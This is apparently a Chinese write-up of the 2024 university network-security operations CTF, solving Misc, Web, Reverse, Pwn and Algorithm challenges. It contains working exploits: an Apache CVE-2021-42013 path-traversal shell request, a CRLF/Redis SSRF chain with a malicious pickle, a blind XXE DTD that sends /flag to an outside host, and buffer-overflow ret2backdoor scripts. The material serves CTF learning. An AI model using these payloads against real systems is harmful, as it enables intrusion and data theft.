2024高校网络安全管理运维赛 wp

0x00 前言

本文是关于“2024高校网络安全管理运维赛”的详细题解，主要针对Web、Pwn、Re、Misc以及Algorithm等多方向题目的解题过程，包含但不限于钓鱼邮件识别、流量分析、SQLite文件解析、ssrf、xxe等等。如有错误，欢迎指正。

0x01 Misc

签到

给了一个gif，直接在线分帧

得到synt{fvtava-dhvm-jryy-qbar}，一眼凯撒，直接rot13解码

flag{signin-quiz-well-done}

钓鱼邮件识别

给了一个eml邮件文件，可以用邮箱软件查看，也可以直接查看(可能麻烦点)

Flag 1

直接base64解码，得到flag{wElCoMeTo}

Flag 2

下面的内容是base64编码的信息

解码后查看，得到flag{phIsHhuntINg}

Flag 3

eml文件剩下的内容没有flag了，只能从发件人的域名下手了

查下dns解析，这里用的是360威胁情报中心

https://ti.360.net/domain/foobar-edu-cn.com

(这个情报中心会记录比赛过程的解析历史，所以现在直接看子域名信息就能得到flag)

下面还是正常过一遍查询流程

除了第三方服务平台，也可以用windows自带的nslookup，查看域名的TXT记录

nslookup -qt=txt foobar-edu-cn.com

根据提示，应该是得去找该域名下的子域名的解析记录，三个拼接出完整的flag

由于域名是在国外申请的，国内很多网站都解析不出来，只能用国外的网站慢慢试

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/details spf

https://dnsspy.io/scan/foobar-edu-cn.com default._domainkey

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com _dmarc

分别得到三个部分，拼接得到flag

flag_part1={N0wY0u
flag_part2=_Kn0wH0wt0_
flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

其实那三个子域名是对应电子邮件服务器的几种协议，例如：SPF、DKIM 和 DMARC，分别提供对应服务

https://help.aliyun.com/document_detail/2685946.html

easyshell

给一个pcap流量包，直接能看到在post请求shell.php，应该是在传马后命令执行

过滤下http流，确信上面猜想

追踪http流，post的内容是加密过的，结合题目和冰蝎4.0的流量特征，猜测这个是冰蝎马

冰蝎流量特征：

• Accept: application/json, text/javascript, */*; q=0.01
• Content-type: Application/x-www-form-urlencoded
• Connection: Keep-Alive
• …

冰蝎4.0使用AES加密，默认密钥为e45e329feb5d925b，即md5('rebeyond')的前16位

冰蝎3.0，默认密码为：e45e329feb5d925b，可以看看：behinder_decrypt/decropt.php at master · melody27/behinder_decrypt · GitHub

从最后一个响应包往回解码试试

这里需要注意Cyber的AES-CBC模式的iv不能空着，但又不需要偏移，所以填入0

找到一个有内容的

看看请求包是在请求什么，这里放下解码后的结果，可以看出是在读取secret2.txt文件

secret2.txt

Hello, but what you're looking for isn't me.

然后在前一个响应包找到关键内容

是个zip压缩包，直接保存出来

查看zip，有个secret1.txt和secret2.txt，需要密码

结合已知secret2.txt的内容，我们可以通过已知明文攻击

先写个secret2.txt，保存为zip，保证和原来的加密算法一样

开始明文攻击，这里有个小技巧，等他显示找回口令时停止，弹出窗口点保存就能解压了

得到flag{70854278-ea0c-462e-bc18-468c7a04a505}

SecretDB

题目给了一个sqlite的db文件，打开只有Too late, no flag for you.

应该得恢复被delete的信息，没有找到能直接恢复的工具，要么恢复不出来要么乱码，尝试手动提取

参考：https://www.cnblogs.com/jiangcsu/p/6569045.html

重点是单元内的结构

010editor打开secret.db，定位到flag处查看，红框下面的部分就是之前被删除的数据

从上面数据库flag表的结构，我们能看出列为id、sort和message，sort是排序用的索引，message存储可见字符，所以我们可以简单的观察上图的可见字符，也就是message，那么他们的前一位就是sort了，例如可见字符9的十六进制为39，它的前一位为0e，所以索引为0e的值为9

依次类推，提取剩余的值

0x17 -
0x0 f
0xe 9
0x1b 7
0x10 3
0xa b
0x19 2
0x14 b
0xf 2
0x12 -
0x23 4
0x16 6
0x1f a
0x25 8
0x2 a
0x1e f
0x5 f
0x3 g
0x11 c
0xc 0
0x4 {
0x22 a
0x21 b
0x7 2
0x1d f
0x26 f
0x1c -
0x9 1
0x27 0
0xd -
0xb f
0x8 9
0x1 l
0x13 4
0x29 }
0x15 a
0x28 b
0x6 6
0x1a d
0x24 e
0x20 b

写个脚本排序，输出flag

with open('1.txt', 'r') as f:
    data = f.readlines()

out = [' ' for i in range(43)]
for i in data:
    index, val = i.replace('\n', '').split(' ')
    index = int(index, 16)
    out[index] = val

flag = ''
index = 0
for i in out:
    print(hex(index), i)
    index += 1
    flag += i
print(flag)
# flag{f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

缺了一位，爆破一下，得出flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

Gateway

给了一个网关源码，index.html有产品名称HS8145V

查询password，在cgi-bin/baseinfoSet.json有一串密码

106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&

搜索一下cgi-bin/baseinfoSet.json

https://github.com/iheshime/ChinaTelecom-ESurfing-Gateway-HG260-Admin-Password-Algorithm

发现是网关管理员通用的加密算法，小改下脚本

exp.py：

def passwd_decode(code) -> str:
    passwd_list = map(int, code.split('&'))
    result=[]
    for i in passwd_list:
        if 97 <= i <= 100 or 65 <= i <= 68:
            i += 22
        elif i > 57:
            i -= 4

        result.append(chr(i))
        #print(i, chr(i))
    return (''.join(result))
passwd = passwd_decode("106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129")
print(passwd)
# flag{ad1985868133e8cf1828cb84adbe5a5b}

或者

code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    ## "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
    if i > 57:
        i-=4
    result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}

zip

#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <pty.h>

char token[1024], buf[1024];

void load() {
    FILE *f = fopen("token.txt", "r");
    fgets(token, sizeof(token), f);
    token[64] = 0; // maybe 64 bytes is enough
    fclose(f);
}

int cmpstr(char const *a, char const *b) {
    return memcmp(a, b, strlen(a));
}

void zip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "a", "flag.zip", "tmp/flag.txt", "-mem=AES256", "-p", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

void unzip(char *password) {
    int master, pid;
    pid = forkpty(&master, NULL, NULL, NULL);

    if (pid == 0) {
        char* argv[] = { "7z", "e", "flag.zip", NULL };
        execve("/usr/bin/7z", argv, NULL);
    } else {
        char buffer[4097];
        while (true) {
            ssize_t n = read(master, buffer, 4096);
            if (n < 0) break;
            fflush(stdout);
            write(1, buffer, n);

            buffer[n] = 0;
            if (strstr(buffer, "rename all")) {
                usleep(10000);
                write(master, "u\n", 2);
            }

            if (strstr(buffer, "Enter password")) {
                usleep(10000);
                write(master, password, strlen(password));
                write(master, "\n", 1);
            }
        }
        wait(NULL);
    }
    close(master);
}

int main(int argc, char *argv[]) {
    load();
    system("7z");

    puts("your token:");
    fflush(stdout);
    fgets(buf, sizeof(buf), stdin);
    if (cmpstr(token, buf)) {
        puts("wrong token!");
        return 1;
    }

    zip(buf);

    puts("your flag:");
    fflush(stdout);

    fgets(buf, sizeof(buf), stdin);
    if (cmpstr("flag{", buf)) {
        puts("wrong flag!");
        return 1;
    }

    unzip(buf);

    FILE *f = fopen("flag.txt", "r");
    if (!f) {
        puts("flag.txt not found");
        return 1;
    }
    fgets(buf, sizeof(buf), f);
    fclose(f);

    printf("flag: %s\n", buf);

    return 0;
}

题目是模仿终端输入，通过条件是输入的内容要有flag{开头，又要等于队伍token(包含flag{)

主要是利用ascii中的\x7f即del，对前面的flag{进行删除

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("url",10003)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','队伍token')
sla('token:','队伍token')

pl='flag{'+'\x7f'*6+'队伍token'
sla('your flag:',pl)
p.interactive()

flag{n3v3r-90NN4-91V3-y0U-UP}

或者

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())

r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

Apache

from flask import Flask,request,send_file
import socket

app = Flask("webserver")

@app.route('/',methods=["GET"])
def index():
    return send_file(__file__)

@app.route('/nc',methods=["POST"])
def nc():
    try:
        dstport=int(request.form['port'])
        data=request.form['data']
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        s.connect(('127.0.0.1', dstport))
        s.send(data.encode())
        recvdata = b''
        while True:
            chunk = s.recv(2048)
            if not chunk.strip():
                break
            else:
                recvdata += chunk
                continue
        return recvdata
    except Exception as e:
        return str(e)

app.run(host="0.0.0.0",port=8080,threaded=True)

题目接受参数port和data，对127.0.0.1:port进行nc连接，发送data

httpd.conf里开启了cgid

LoadModule cgid_module modules/mod_cgid.so

结合题目apache，应该是要打CVE-2021-42013，路径穿越命令执行

同时，题目nc发送data后是循环接收chunk，这样会导致完异常无法接受返回信息

针对chunked传输模式，通过设置Content-Length来限制长度(可以参考上一篇的"凌武杯" D^3CTF 2024 wp)

exp.py

import requests

url ="url/nc"

poc = "echo;cat /flag"
payload=f"""POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\nContent-Length: {len(poc)}\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n{poc}"""
data ={
    "port":"80",
    "data":payload
}
res = requests.post(url=url,data=data)
print(res.text)

flag{whaTaapaCherce}

f or r

这个没什么好说的，能找到原题

https://github.com/BeaCox/myBlog/blob/ebb8b6694ca7d9d998dcfdd703137240a5da25f9/posts/sjtuctf-2024-wp/index.html

照着文章直接出

from pwn import *

r = remote('prob03.contest.pku.edu.cn', 10003)

token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'

r.sendline(token.encode())

recv = r.recvuntil('your token:')

print(recv.decode())

r.sendline(token[:64].encode())

recv = r.recvuntil('your flag:')

print(recv.decode())

exp = ('flag{' + chr(127)*5 + token[:64]).encode()

r.sendline(exp)

r.interactive()

0x02 Web

phpsql

一个用户登录界面，password存在sql注入点

保存请求包，sqlmap一把梭

python .\sqlmap.py -r post.txt --dbms mysql --tamper=space2comment -D ctftraining -T"flag" -C "flag" --dump

但注出的flag字段为空

后面发现就是个简单的sql注入，登录后查看就行

空格被过滤了，用MySQL注释符绕过

或者用万能密码绕过

pyssrf

from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)

def get_result(url):
    url_key=hashlib.md5(url.encode()).hexdigest()
    res=redis.get(url_key)
    if res:
        return pickle.loads(base64.b64decode(res))
    else:
        try:
            print(url)
            info = urllib.request.urlopen(url)
            res = info.read()
            pickres=pickle.dumps(res)
            b64res=base64.b64encode(pickres)
            redis.set(url_key,b64res,ex=300)
            return res
        except urllib.error.URLError as e:
            print(e)

@app.route('/')
def hello():
    url = request.args.get("url")
    return '''%s ''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')

@app.route('/source') 
def source(): 
    return

参考：

https://bugs.python.org/issue42987 存在CRLF漏洞

flask不出网回显方式 - Longlone’s Blog

题目是接收一个url参数，将redis中url对应的值取出并pickle反序列化

提示python版本为3.7.1，构造pickle序列化数据需要注意版本

主要思路为，利用CRLF注入，打redis未授权，将redis中url对应的值修改为恶意的pickle序列化数据，再次访问时，题目将redis中的内容取出进行pickle反序列化，造成命令执行

exp.py

import requests
import hashlib
import pickle
import base64
import urllib

url ="/?url="

payload=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'exec'
tR(S'raise Exception(__import__('os').popen('cat /f*').read())'
tR.
'''

payload_base64 = urllib.parse.quote(base64.b64encode(payload).decode())
print(payload_base64)

def encode_url(url):
    url_key = hashlib.md5(url.encode()).hexdigest()
    return url_key

inject_url = '1.2.3.4'
url_shell = url + inject_url
url_encode = encode_url("http://" + inject_url)

payload = f"127.0.0.1:6379?\r\nauth\r\nroot\r\nSET {url_encode} {payload_base64}\r\nquit"

url_set = url + payload
res1 = requests.get(url=url_set)
print(res1.text)
res2 = requests.get(url=url_shell)
print(res2.text)

fileit

盲打 XXE，参考文章 https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/

抓包，将xml转换为dom，应该是xxe，但无回显

需要读取vps上恶意dtd，执行命令后回显到vps上

vps：

a.dtd

<!ENTITY % data SYSTEM"php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:port?file=%data;'>">

# 开启监听端口3000
nc -lnvp 3000

发包：

POST / HTTP/2
Host: 
Content-Length: 152
Content-Type: application/xml

<?xml version="1.0" ?>

<!ENTITY % sp SYSTEM "http://ip:port/a.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

成功回显，base64解码得到flag

Messy Mongo

代码审计+F12的hint，找到修改用户名的路由：

app.use('/api/*', jwt({ secret }))

app.patch('/api/login', async (c) => {	//修改账号
  const { user } = c.get('jwtPayload')  
  const delta = await c.req.json()
  const newname = delta['username']
  assert.notEqual(newname, 'admin')
  await users.updateOne({ username: user }, [{ $set: delta }])
  if (newname) {
    await todos.updateMany({ user }, [{ $set: { user: delta['username'] } }])
  }
  return c.json(0)
})

这里可以利用mongodb聚合特性中的字符串操作来绕过assert.notEqual并且修改用户为admin：https://www.jianshu.com/p/42845d117587。

登录ctfer用户拿到jwt令牌，然后先发送一个修改用户名为Admin的请求：

{"username":"Admin"}

再登录Admin用户，修改用户名为小写：

{"username":{"$toLower":"$username"}}

请求访问即可拿到flag：

JustXSS

预测nonce来进行XSS。

V8的 Math.random() 方法不是密码学安全的，可以通过历史记录来预测伪随机数生成器内部状

态，从而获取之后得到的值。

能拿到未来的nonce后就可以很方便的注入里。但由于Vue的v-html是设置 innerHTML 来更新

DOM，而事件侦听由被CSP给ban了，直接注入 <script> 也是不会执行的。

这里就需要第二个Trick，使用iframe绕过这个限制。

PoC:

<iframe srcdoc="<script

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0x03 Re

easyre

经典BASE64换表题目，表为ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

确实easy，就是一个换标base64

babyre

有一层upx壳，脱壳后直接扔到angr一把梭

import angr

p=angr.Project('./babyre',auto_load_libs=False)
start_start=p.factory.entry_state()
simgr=p.factory.simgr()
#target addr
def target(state):
        return b"Your flag is" in state.posix.dumps(1)
#avoid addr
def bad(state):
        return b"Wrong!" in state.posix.dumps(1)
simgr.explore(find=target,avoid=bad)
if simgr.found:
        solution_state=simgr.found[0]
        print(solution_state.posix.dumps(1))#模拟符合posix环境的数据存储和输入输出

0x04 Pwn

Login

登录时使用长字符串能够爆出登录密码：

尝试用户名和密码，用admin/1q2w3e4r成功登录，将程序dump下来。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
    file = p.recvall()
    fd.write(file)

存在后门函数，直接ret2backdoor即可

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
## p.recvuntil(b'Username:')
## p.sendline(b'admin')
## p.recvuntil(b'Password')
## p.sendline(b'1q2w3e4r')

## p.recvuntil(b'Core dumped\n')
## with open('./Login','+ab') as fd:
##     file = p.recvall()
##     fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()

babypwn

给了后门函数，直接打ret2backdoor即可。

from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256,md5
from Crypto.Cipher import ARC4
context.arch='amd64'
context.os='linux'
context.log_level='debug'

choice=0
if choice==1:
    p=process('./pwn')
else:
    p=remote("prob07.contest.pku.edu.cn",10007)

s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x
libc_sym  = lambda x                :libc_os(libc.sym[x])
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def debug(cmd=''):
    gdb.attach(p,cmd)
    pause()
def proof_of_work(p):
    p.recvuntil(b"256(\"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        content = prefixes + str(cur)
        s = sha256(content.encode())
        if s.hexdigest().startswith("000000") and int(s.hexdigest()[6:8], 16) < 0x40:
            return True
        return False
    proof = mbruteforce(brute,string.ascii_lowercase + string.digits, length=6, method='upto',threads=20)
    p.sendlineafter(b"zero:", proof)
def proof_of_work_md5(p):
    p.recvuntil(b"with \"")
    prefixes = p.recvuntil(b'\"').decode("utf8")[:-1]
    log.success(prefixes)
    def brute(cur):
        s = md5(cur.encode())
        if s.hexdigest().startswith(prefixes):
            return True
        return False
    proof = mbruteforce(brute,string.ascii_letters, length=4, method='fixed')
    p.sendlineafter(b":", proof)

#elf=ELF('./11')
# libc=ELF('./libc-2.23.so')
# libc=ELF('./libc-2.27.so')
#libc=ELF('./libc-2.31.so')
# libc=ELF('./libc.so.6')
# libc=ELF('./libc.so')

# rop = ROP(libc)
# rdi=(rop.find_gadget(['pop rdi', 'ret']))[0]
# rsi=(rop.find_gadget(['pop rsi', 'ret']))[0]
sla('token:','20:MEYCIQCSPC8cZqmtbdZzL8NH8ZsYVZWmObVOyeXgLCqEUxxxyAIhALrkbJlt4GFMl-p6cyLpLdBUMaZRJrVU3ETXNwH7tuPN')
sla('Enter your username: ','root\x00')
pl=b'/bin/sh\x00'+b'a'*0x30+flat(0x00000000040117a)

sa('Enter the password: ',pl)
p.interactive()

0x05 Algorithm

secretbit

from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm

def instance(m, n):
    start = list(range(m))
    shuffle(start)
    for i in range(m):
        now = start[i]
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
        if not this_turn:
            return 0
    return 1

def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    return message

MAX_M = 400
MIN_M = 200
flag_b = [int(i) for i in bin(bytes_to_long(flag))[2:]]
leak_message = []

for bi in tqdm(flag_b):
    while True:
        tmp_m0 = randrange(MIN_M, MAX_M)
        tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
        tmp_m1 = randrange(MIN_M, MAX_M)
        tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
        if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
            break
    choose_m = tmp_m0 if bi == 0 else tmp_m1
    choose_n = tmp_n0 if bi == 0 else tmp_n1
    leak_message.append([[tmp_m0, tmp_n0], [tmp_m1, tmp_n1], leak(choose_m, choose_n)])

open('data.txt', 'w').write(str(leak_message))

根据flag的bit来选择m0和n0，或者m1和n1

题目给了m0、n0、m1、n1和leak后的数据，直接计算两种情况的leak，看哪个和给的leak相近，就能判断出该位的bit了

exp.py：

import ast
import mathfrom tqdm import tqdm

def instance_avg(m, n, times=2000):
    from random import shuffle
    total = 0
    for _ in range(times):
        start = list(range(m))
        shuffle(start)
        for i in range(m):
            now = start[i]
            this_turn = False
            for _ in range(n-1):
                if now == i:
                    this_turn = True
                    break
                now = start[now]
            if not this_turn:
                total += 0
                break
        else:
            total += 1
    return total / times

with open('data.txt', 'r') as file:
    data = ast.literal_eval(file.read())

flag_bits = []
for [[m0, n0], [m1, n1], message] in tqdm(data):
    p = sum(message) / len(message)
    avg_m0_n0 = instance_avg(m0, n0)
    avg_m1_n1 = instance_avg(m1, n1)

    if math.isclose(p, avg_m0_n0, abs_tol=0.05):
        flag_bits.append(0)
    elif math.isclose(p, avg_m1_n1, abs_tol=0.05):
        flag_bits.append(1)
    else:
        raise ValueError("Unable to determine bit value")

flag_bin_str = ''.join(map(str, flag_bits))
flag_int = int(flag_bin_str, 2)
flag = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')

print(flag.decode())

0x06 总结

这次比赛有些平时接触不到的知识点，像是钓鱼邮件识别中的dns解析，sqlite文件解析，也有对一些知识的加固，例如apache目录穿越，ssrf+redis未授权，xxe无回显，等等。总的来说，学习到了很多，再接再厉！

附件题目下载地址：

链接: https://pan.baidu.com/s/1AFgFsn0BNZrqB0eyt2e_5Q 提取码: q7e7 

转载原文参考链接地址：

https://forum.butian.net/share/2984

https://blog.csdn.net/jyttttttt/article/details/138514076

https://blog.xmcve.com/2024/05/07/%E9%AB%98%E6%A0%A1%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E8%BF%90%E7%BB%B4%E8%B5%9B-Writeup/#title-11